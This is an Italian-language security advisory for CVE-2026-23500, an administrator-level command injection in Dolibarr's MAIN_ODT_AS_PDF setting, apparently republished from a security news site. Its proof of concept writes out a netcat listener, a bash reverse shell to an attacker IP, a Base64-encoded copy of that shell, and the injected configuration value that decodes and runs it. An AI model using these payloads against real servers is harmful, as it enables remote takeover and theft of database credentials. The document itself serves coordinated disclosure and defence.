CVE-2026-23500: Iniezione di comandi di sistema (RCE) tramite la configurazione MAIN_ODT_AS_PDF in Dolibarr

Panoramica

Prodotti Interessati

• Dolibarr/dolibarr (versioni: <= 22.0.4)
• Corretto in: 23.0

Classificazione CWE

• CWE-78: Neutralizzazione impropria di elementi speciali usati in un comando del sistema operativo ('Iniezione di comandi del sistema operativo')

Dettagli

Riepilogo

Un amministratore autenticato può eseguire comandi arbitrari del sistema operativo iniettando un payload dannoso nella costante di configurazione MAIN_ODT_AS_PDF. Questa vulnerabilità esiste perché l'applicazione non riesce a validare o a sottoporre a escape correttamente il percorso del comando prima di passarlo alla funzione exec() nel processo di conversione da ODT a PDF.

Dettagli

La vulnerabilità si trova in htdocs/includes/odtphp/odf.php. Quando il sistema tenta di convertire un documento ODT in PDF (ad es., nelle Proposte commerciali, nelle Fatture), costruisce un comando shell utilizzando l'impostazione globale MAIN_ODT_AS_PDF.

Frammento di codice (htdocs/includes/odtphp/odf.php, circa riga 930):

$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);

Mentre il nome del file $name viene sanificato tramite escapeshellcmd(), la variabile di configurazione MAIN_ODT_AS_PDF viene recuperata direttamente dal database e concatenata all'inizio della stringa. Un attaccante con privilegi amministrativi può impostare questa variabile in modo che includa un separatore di comandi (come ;) seguito da comandi arbitrari.

PoC

Prerequisiti:

1. Accedi come Amministratore.
2. Assicurati che il modulo "Proposte commerciali" sia abilitato e che i "modelli ODT" siano attivati nella sua configurazione.

Passaggi per riprodurre (Reverse Shell):

1. Avvia un listener netcat sulla macchina dell'attaccante (IP: 172.26.0.1, Porta: 4445):

nc -lvnp 4445

2. Prepara il payload. Per evitare problemi con i caratteri speciali (come & o >) che vengono sottoposti a escape dall'applicazione web o dalla shell, codifica il comando della reverse shell in Base64:

   root@kitploit:~

   # Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
   echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
   # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
   

3. Vai su Home -> Setup -> Altro setup.

4. Aggiungi o modifica la costante MAIN_ODT_AS_PDF con il seguente payload di iniezione:

   root@kitploit:~

   jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
   

   (Spiegazione: jodconverter soddisfa il controllo iniziale, ; agisce come separatore di comandi e la pipeline decodifica ed esegue il payload Base64).

   

5. Vai su Commerciale -> Nuova proposta, crea una bozza, seleziona un modello ODT (ad es., generic_proposal_odt) e clicca su .

6. Controlla il listener netcat. Verrà stabilita una connessione che fornirà una shell sul server:

Impatto

Esecuzione di codice da remoto (RCE). Un attaccante che ottiene l'accesso a un account amministratore (o un amministratore malintenzionato) può eseguire comandi arbitrari sul server sottostante con i privilegi dell'utente del server web (tipicamente www-data). Ciò consente di:

• Leggere file di configurazione sensibili (credenziali del database).
• Modificare il codice dell'applicazione.
• Compromettere completamente il sistema a seconda della configurazione del server (ad es., docker escape, pivoting).

Crediti

Segnalata da Łukasz Rybak

Riferimenti

• https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
• https://nvd.nist.gov/vuln/detail/CVE-2026-23500

Disclaimer

Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite sono solo a scopo educativo e difensivo.